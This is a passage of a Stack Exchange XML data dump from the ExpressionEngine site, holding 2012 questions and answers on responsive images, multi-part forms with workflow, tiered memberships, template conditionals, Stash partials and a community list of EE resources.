3.0" />
  <row Id="153" PostTypeId="2" ParentId="138" CreationDate="2012-11-21T10:23:25.760" Score="15" Body="&lt;p&gt;I've been using Snaptcha &lt;a href=&quot;http://devot-ee.com/add-ons/snaptcha&quot;&gt;http://devot-ee.com/add-ons/snaptcha&lt;/a&gt; on my recent sites, I can attest that it works very well, No one enjoys filling out these captchas anyway, and their efficacy is doubtful anyway.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2012-11-21T10:23:25.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="154" PostTypeId="1" AcceptedAnswerId="157" CreationDate="2012-11-21T11:41:06.490" Score="27" ViewCount="1640" Body="&lt;p&gt;Considering that add-ons like Channel Images and even the native EE image upload functionality provide the option to create duplicates of uploaded images at rescaled sizes, (or produced on-the-fly with CE Image) has anyone had experience in using this functionality in conjunction with JS to serve image files based on screen sizes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not referring to the RWD CSS on the front end (responsive images and media queries), I'm interested in the aspect of serving different image files from EE based on screen sizes via Ajax after the page has loaded and I can detect the screen width. Any caveats, or gotchas specific to EE?&lt;/p&gt;&#xA;" OwnerUserId="286" LastActivityDate="2015-07-23T03:07:08.973" Title="Responsive Images solution with native EE and/or Addons" Tags="|image-galleries|ce-image|" AnswerCount="6" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="155" PostTypeId="1" AcceptedAnswerId="165" CreationDate="2012-11-21T12:04:07.323" Score="7" ViewCount="211" Body="&lt;p&gt;I'm looking for some advice on a client-friendly way to create and administer multi-part forms with the caveat that a workflow process is also needed.  I know more than one of the forms add-ons for EE offer multi-part forms, and they certainly make form composition/editing simple, but I'm struggling with how I would handle another part of my client's need: workflow.  The idea is that the form will be available to a logged in member to complete in parts if needed (i.e. they can come back and edit their form response as many times as needed, saving their progress as they make changes) but once they submit the form for &quot;approval&quot; the form is no longer available for them to edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone attempted this with one of the available forms add-ons? Can one of them do this, or would I be better off looking at Safecracker (recognizing that it will be harder to build the editability of the form itself, but easier to handle the workflow requirement)?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2012-11-21T15:26:36.010" Title="What is a client-friendly way to handle multi-part forms with workflow?" Tags="|forms|workflow|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="156" PostTypeId="2" ParentId="65" CreationDate="2012-11-21T12:06:43.527" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;... when the form fields are filled out correctly ExpressionEngine itself throws an &quot;x Field Required&quot; error message(&quot;Email Field Required&quot; for the Comment Form ...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The comment form code that you've posted includes a &lt;code&gt;from&lt;/code&gt; field, not an &lt;code&gt;email&lt;/code&gt; field. It seems pretty likely that EE is looking for &lt;code&gt;$_POST['email']&lt;/code&gt; and then bailing when it can't find it. The jQuery issues might just be a red herring.&lt;/p&gt;&#xA;" OwnerUserId="77" LastEditorUserId="28" LastEditDate="2012-12-16T06:17:33.493" LastActivityDate="2012-12-16T06:17:33.493" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="157" PostTypeId="2" ParentId="154" CreationDate="2012-11-21T12:38:59.340" Score="16" Body="&lt;p&gt;I use an &lt;a href=&quot;https://github.com/tyssen/ress-ee&quot;&gt;add-on&lt;/a&gt; I developed which sets a screen width variable which you can use in conditionals and then I use an image sizing plugin to serve up different sized images based on that. A bit more detail &lt;a href=&quot;http://www.johnfaulds.com.au/journal/responsive-layouts-with-expressionengine/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2012-11-21T12:38:59.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="158" PostTypeId="2" ParentId="155" CreationDate="2012-11-21T12:39:47.153" Score="4" Body="&lt;p&gt;Give your entries an status of 'pending' once they are submitted.&lt;br&gt;&#xA;Then in your template, only show the form is the status isn't 'pending'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tried this using any third party form addons but since you can do&#xA;this with Safecracker, I'd assume it's possible with a more full-featured form&#xA;add-on.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2012-11-21T12:39:47.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="159" PostTypeId="2" ParentId="154" CreationDate="2012-11-21T12:41:52.257" Score="5" Body="&lt;p&gt;I don't know of any gotchas specific to EE. And I've had good luck using the native EE file manager, as well as &lt;a href=&quot;http://devot-ee.com/add-ons/assets&quot; rel=&quot;noreferrer&quot;&gt;Assets&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/channel-images&quot; rel=&quot;noreferrer&quot;&gt;Channel Images&lt;/a&gt;, to create and serve up multiple sizes of images to different devices. I like the way Channel Images structures its directories; I think it makes it easier to use for responsive images than the other solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, this isn't image-specific, but there's an addon by Tyssen that will let you set an EE cookie for the window size via JS and then access it in templates. It makes the whole serving-multiple-images thing much easier. It's called &lt;a href=&quot;http://devot-ee.com/add-ons/ress&quot; rel=&quot;noreferrer&quot;&gt;RESS&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="139" LastActivityDate="2012-11-21T12:41:52.257" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="160" PostTypeId="2" ParentId="154" CreationDate="2012-11-21T13:38:16.723" Score="26" Body="&lt;p&gt;I can't see any issues to worry about here. A couple of approaches that could work, using the &lt;a href=&quot;https://github.com/scottjehl/picturefill&quot; rel=&quot;nofollow&quot;&gt;PictureFill technique&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;http://expressionengine.com/user_guide/cp/content/files/file_upload_preferences.html#image-manipulations&quot; rel=&quot;nofollow&quot;&gt;EE image manipulations&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div data-picture data-alt=&quot;My picture&quot;&amp;gt;&#xA;    &amp;lt;div data-src=&quot;{my_image:small}&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div data-src=&quot;{my_image:medium}&quot; data-media=&quot;(min-width: 400px)&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div data-src=&quot;{my_image:large}&quot; data-media=&quot;(min-width: 800px)&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div data-src=&quot;{my_image:xlarge}&quot; data-media=&quot;(min-width: 1000px)&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;noscript&amp;gt;&#xA;        &amp;lt;img src=&quot;{my_image:small}&quot; alt=&quot;My picture&quot;&amp;gt;&#xA;    &amp;lt;/noscript&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or using &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image&quot; rel=&quot;nofollow&quot;&gt;CE Image&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div data-picture data-alt=&quot;My picture&quot;&amp;gt;&#xA;    &amp;lt;div data-src=&quot;{exp:ce_img:single src='{my_image}' width='300' output='{made}'}&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div data-src=&quot;{exp:ce_img:single src='{my_image}' width='380' output='{made}'}&quot; data-media=&quot;(min-width: 400px)&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div data-src=&quot;{exp:ce_img:single src='{my_image}' width='780' output='{made}'}&quot; data-media=&quot;(min-width: 800px)&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div data-src=&quot;{exp:ce_img:single src='{my_image}' width='980' output='{made}'}&quot; data-media=&quot;(min-width: 1000px)&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;noscript&amp;gt;&#xA;        {exp:ce_img:single src='{my_image}' width='300' output='&amp;lt;img src=&quot;{made}&quot; alt=&quot;My picture&quot; /&amp;gt;'}&#xA;    &amp;lt;/noscript&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-01-18T21:57:40.977" LastActivityDate="2015-01-18T21:57:40.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="161" PostTypeId="2" ParentId="154" CreationDate="2012-11-21T13:54:00.237" Score="2" Body="&lt;p&gt;Don't bother!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read this blog post, it might be of interest to you?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://boagworld.com/dev/how-should-we-handle-responsive-images/&quot; rel=&quot;nofollow&quot;&gt;http://boagworld.com/dev/how-should-we-handle-responsive-images/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2012-11-21T13:54:00.237" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="162" PostTypeId="1" AcceptedAnswerId="164" CreationDate="2012-11-21T14:08:07.210" Score="34" ViewCount="806" Body="&lt;p&gt;I got this idea from the &lt;a href=&quot;https://russian.stackexchange.com/faq&quot;&gt;Russian Language and Usage&lt;/a&gt; site. Since &quot;lists of links&quot; are discouraged by the StackOverflow rules, this is a &lt;em&gt;single question&lt;/em&gt; with a list of relevant resources for folks using EE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am answering my own question with a couple of initial resources, and setting that answer to &lt;a href=&quot;http://blog.stackoverflow.com/2011/08/the-future-of-community-wiki/&quot;&gt;Community Wiki&lt;/a&gt; mode. &lt;strong&gt;Please add resources to the single answer&lt;/strong&gt; rather than creating separate answers; that way the resources can stay nicely categorized.&lt;/p&gt;&#xA;" OwnerUserId="139" LastEditorUserId="-1" LastEditDate="2017-04-13T12:56:33.670" LastActivityDate="2022-10-23T08:32:45.653" Title="List of Resources for EE developers and users?" Tags="|general-knowledge|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="163" PostTypeId="1" AcceptedAnswerId="167" CreationDate="2012-11-21T14:10:00.853" Score="10" ViewCount="197" Body="&lt;p&gt;I'm currently in the speccing stages of a site and considering ExpressionEngine as an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the requirements is for &quot;tiered memberships&quot; for instance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A user signs up as a member with a &quot;Corporate&quot; account&#xA;This &quot;Corporate&quot; account can have a number of sub-accounts, say for employees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone created a system like this within EE before? Is there any kind of add-on that will do this or is it a matter of working with an add-on that shifts members into channels and creating related entries etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm open to suggestions.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2012-11-21T18:03:13.693" Title="Tiered memberships" Tags="|add-on|members|bestpractice|accounts|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="164" PostTypeId="2" ParentId="162" CreationDate="2012-11-21T14:11:34.810" Score="40" Body="&lt;p&gt;&lt;strong&gt;ExpressionEngine main website — &lt;a href=&quot;https://expressionengine.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://expressionengine.com&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;ExpressionEngine GitHub repo — &lt;a href=&quot;https://github.com/ExpressionEngine/ExpressionEngine&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ExpressionEngine/ExpressionEngine&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;ExpressionEngine official forums — &lt;a href=&quot;https://expressionengine.com/forums&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://expressionengine.com/forums&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;ExpressionEngine Slack Channel — &lt;a href=&quot;https://expressionengine.com/blog/join-us-in-slack#join-us-on-slack&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://expressionengine.com/blog/join-us-in-slack#join-us-on-slack&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Official Documentation&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE7 — &lt;a href=&quot;https://docs.expressionengine.com/latest/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.expressionengine.com/latest/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;EE6 — &lt;a href=&quot;https://docs.expressionengine.com/v6/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.expressionengine.com/v6/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;EE5 — &lt;a href=&quot;https://docs.expressionengine.com/v5/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.expressionengine.com/v5/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;EE4 — &lt;a href=&quot;https://docs.expressionengine.com/v4/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.expressionengine.com/v4/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;EE3 — &lt;a href=&quot;https://docs.expressionengine.com/v3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.expressionengine.com/v3/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;EE2 — &lt;a href=&quot;https://docs.expressionengine.com/v2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.expressionengine.com/v2/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;EE1 — &lt;a href=&quot;https://docs.expressionengine.com/v1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.expressionengine.com/v1/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;CodeIgniter 2 — &lt;a href=&quot;https://codeigniter.com/userguide2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://codeigniter.com/userguide2/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The official documentation is the most thorough resource on EE usage and development and should always be considered first, especially as a novice learning EE.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;ExpressionEngine Add-ons&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ExpressionEngine Add-on Store — &lt;a href=&quot;https://expressionengine.com/add-ons&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://expressionengine.com/add-ons&lt;/a&gt;&#xA;(official add-ons store)&lt;/li&gt;&#xA;&lt;li&gt;devot:ee — &lt;a href=&quot;http://devot-ee.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://devot-ee.com&lt;/a&gt;&#xA;(list of ExpressionEngine addons with a store, currently mostly abandoned)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;ExpressionEngine Conference and Meetups&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EEConf — &lt;a href=&quot;https://www.eeconf.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.eeconf.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;EE Conference YouTube channel — &lt;a href=&quot;https://www.youtube.com/channel/UCCOp4MZ1ggdKSsZ3lPa6yiw&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/channel/UCCOp4MZ1ggdKSsZ3lPa6yiw&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Learning Recources&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ExpressionEngine University - &lt;a href=&quot;https://u.expressionengine.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://u.expressionengine.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;ExpressionEngine TV - &lt;a href=&quot;https://www.youtube.com/channel/UCtG8DcWT9s4ILWGq0m1Bpxg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/channel/UCtG8DcWT9s4ILWGq0m1Bpxg&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;EE Template Examples&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/alistapart/AListApart&quot; rel=&quot;nofollow noreferrer&quot;&gt;Alistapart.com open-source template&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Topic Resources&lt;/h1&gt;&#xA;&lt;h3&gt;&lt;em&gt;Parse Order&lt;/em&gt;&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.expressionengine.com/latest/templates/template_engine.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;EE Documentation on the template engine&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Low's parse order reference&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;&lt;em&gt;Template Partials and Stash&lt;/em&gt;&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://eeinsider.com/articles/template-partials-using-stash/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Template partials using Stash&lt;/a&gt; by Adrienne Travis&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.tyssendesign.com.au/articles/cms/more-stash-examples/&quot; rel=&quot;nofollow noreferrer&quot;&gt;More Stash Examples&lt;/a&gt; by John Faulds&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;&lt;em&gt;EE URL and Segments&lt;/em&gt;&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.jamessmith.co.uk/articles/expressionengine_url_schematic&quot; rel=&quot;nofollow noreferrer&quot;&gt;ExpressionEngine URL Schematic&lt;/a&gt; by James Smith&lt;br /&gt;&#xA;(How EE deciphers whether a segement is a template, an entry, or something else)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;&lt;em&gt;Multilingual Development (i18n)&lt;/em&gt;&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://eeinsider.com/articles/multi-language-solutions-for-expressionengine/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Multi-language Solutions for ExpressionEngine&lt;/a&gt; by Christofer Sandin&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;&lt;em&gt;.htaccess&lt;/em&gt;&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.expressionengine.com/latest/urls/remove_index.php.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;EE Documentation on removing index.php from URLs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;&lt;em&gt;Optimisation&lt;/em&gt;&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.expressionengine.com/latest/optimization/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;EE Documentation on optimization&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;&lt;em&gt;404 Pages&lt;/em&gt;&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1956/is-there-a-standard-way-to-do-404-pages-with-structure&quot;&gt;EE Answers entry on 404 pages&lt;/a&gt; by the community here&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;&lt;em&gt;Configuring EE for Multiple Environments&lt;/em&gt;&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ee-garage.com/nsm-config-bootstrap&quot; rel=&quot;nofollow noreferrer&quot;&gt;NSM Config Bootstrap&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow noreferrer&quot;&gt;Focus Labs' Master Config&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.johnfaulds.com.au/journal/developing-expressionengine-sites-with-mamp-git-tower-and-beanstalk-part-1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Developing ExpressionEngine sites with MAMP, Git (Tower) and Beanstalk&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h1&gt;Resources for Add-On Developers&lt;/h1&gt;&#xA;&lt;h3&gt;&lt;em&gt;Tutorials&lt;/em&gt;&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mijingo.com/products/screencasts/how-to-develop-expressionengine-add-on/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Building an ExpressionEngine Add-on&lt;/a&gt; screencast from Mijingo by Low&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;&lt;em&gt;Presentations&lt;/em&gt;&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.slideshare.net/reedmaniac/addon-development-ee-expects-that-every-developer-will-do-his-duty-2494809&quot; rel=&quot;nofollow noreferrer&quot;&gt;Add-On Development: EE Expects that Every Developer will do his Duty&lt;/a&gt; (and &lt;a href=&quot;http://www.solspace.com/downloads/eeci2009/presentation.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;presentation.txt&lt;/a&gt; with non-slide text, too) by Paul Burdick, Lead Developer at Solspace (October 2009).&lt;/li&gt;&#xA;&lt;li&gt;&lt;s&gt;&lt;a href=&quot;http://www.slideshare.net/lodewijkschutte/so-you-wanna-build-an-addon&quot; rel=&quot;nofollow noreferrer&quot;&gt;So, you wanna build an add-on&lt;/a&gt; by Low (October 2012)&lt;/s&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;&lt;em&gt;Tools&lt;/em&gt;&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;s&gt;&lt;a href=&quot;http://pkg.io/&quot; rel=&quot;nofollow noreferrer&quot;&gt;pkg.io — Package Builder for ExpressionEngine&lt;/a&gt;&#xA;(&lt;strong&gt;Note&lt;/strong&gt;: rename &lt;code&gt;lang.module_name.php&lt;/code&gt; to &lt;code&gt;module_name_lang.php&lt;/code&gt;; be weary of single quotes in module descriptions as that will break in your language file)&lt;/s&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/rsanchez/generator-ee-addon&quot; rel=&quot;nofollow noreferrer&quot;&gt;generator-ee-addon — An ExpressionEngine Add-On generator for Yeoman&lt;/a&gt; by Rob Sanchez based off work by Abban Dunne&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;other resources go here&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="139" LastEditorUserId="19" LastEditDate="2022-10-23T08:32:45.653" LastActivityDate="2022-10-23T08:32:45.653" CommentCount="0" CommunityOwnedDate="2012-11-21T14:11:34.810" ContentLicense="CC BY-SA 4.0" />
  <row Id="165" PostTypeId="2" ParentId="155" CreationDate="2012-11-21T14:18:50.213" Score="6" Body="&lt;p&gt;I've used &lt;a href=&quot;http://www.devdemon.com/forms/&quot;&gt;DevDemon's Forms&lt;/a&gt; and &lt;a href=&quot;http://www.solspace.com/software/detail/freeform/&quot;&gt;Solspace's Freeform Pro&lt;/a&gt; and they both seem to store the actual form in their own database tables so I'm not sure how you could use SafeCracker with such a set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freeform Pro is what I'd use for a multipart form now, as it has a pretty slick and clean interface (although I have a wish list for this addon) - that said I'd personally try a few of them out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where's you'll fall down is on integrating workflow, there's only really &lt;a href=&quot;http://betterworkflow.electricputty.co.uk/&quot;&gt;Better Workflow&lt;/a&gt; but that works on entries - so it wouldn't work with the addon specific tables...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another addon to look out for if you're using SafeCracker is &lt;a href=&quot;http://devot-ee.com/add-ons/mx-notify-control&quot;&gt;MX Notifier Control&lt;/a&gt; - you could form a pretty solid entry workflow setup form that - although again, I can't see how it would work with one of the form addons.&lt;/p&gt;&#xA;" OwnerUserId="261" LastActivityDate="2012-11-21T14:18:50.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="166" PostTypeId="1" AcceptedAnswerId="169" CreationDate="2012-11-21T14:46:11.893" Score="3" ViewCount="143" Body="&lt;p&gt;This is my template code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:prev_entry channel=&quot;events&quot;}&#xA;    &amp;lt;a href=&quot;{path='events/article'}&quot; title=&quot;Previous Offer | {title}&quot;&amp;gt;PREVIOUS EVENT&amp;lt;/a&amp;gt;&#xA;{/exp:channel:prev_entry}&#xA;&#xA;{if '{next}' !='' AND '{prev}' !=''}|{/if}&#xA;&#xA;{exp:channel:next_entry channel=&quot;events&quot;}&#xA;  &amp;lt;a href=&quot;{path='events/article'}&quot; title=&quot;Next Offer | {title}&quot;&amp;gt;NEXT EVENT&amp;lt;/a&amp;gt;&#xA;{/exp:channel:next_entry}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice the conditional in the middle &lt;strong&gt;{if '{next}' !='' AND '{prev}' !=''}|{/if}&lt;/strong&gt; I've tried every which way to get this pipe character to only display if there are both a next and a previous entry but not if there is only one of them. I've tried AND XOR OR and also checking for != or == but nothing seems to work. I either get the pipe for all results or it never displays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the correct way to get the pipe character to display only if there are both a next and a previous entry.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-11-21T15:22:30.180" Title="Previous and Next tags with conditional to display pipe character" Tags="|conditionals|template-scripting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="167" PostTypeId="2" ParentId="163" CreationDate="2012-11-21T14:47:09.820" Score="13" Body="&lt;p&gt;No direct experience doing this, but I'd take this approach initially:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Each &quot;tier&quot; is a channel entry. You could include things like price, description, etc. here (perhaps this is also a &quot;products&quot; channel used by &lt;a href=&quot;http://devot-ee.com/add-ons/cartthrob-2&quot;&gt;CartThrob&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/expresso-store&quot;&gt;Store&lt;/a&gt;, used to &quot;sell&quot; the tier).&lt;/li&gt;&#xA;&lt;li&gt;Use an add-on such as &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-visitor&quot;&gt;Zoo Visitor&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/profileedit&quot;&gt;Profile:Edit&lt;/a&gt; to create members as channel entries, then use a relationship or &lt;a href=&quot;http://devot-ee.com/add-ons/playa&quot;&gt;Playa&lt;/a&gt; field in that entry which links them to a specific tier (I like Playa better for this, as its various :parents, :children, :siblings tags are very powerful).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-11-21T14:47:09.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="168" PostTypeId="2" ParentId="21" CreationDate="2012-11-21T14:55:51.403" Score="17" Body="&lt;p&gt;Since the question is quite broad I'll try to summarise the advantages of the template partials pattern in general and Stash embeds in particular.&lt;/p&gt;&#xA;&lt;h3&gt;Template partials&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;allows code to be encapsulated into reusable chunks, to help you respect the DRY principle&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;allows markup (the 'view') to be separated from the code that retrieves and formats your data (the 'viewModel')&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;eliminates the need for multiple embedded templates and many common parse order problems that lead to degraded performance&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;As a consequence of the above the following becomes true:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;code is more maintainable and less likely to break because it is separated into discrete concerns&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the presentation layer for a single set of content can be swapped out easily, and can be done so on the fly using conditional logic. For example, a news story viewModel might have multiple views: HTML, RSS, JSON, print.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3&gt;Stash 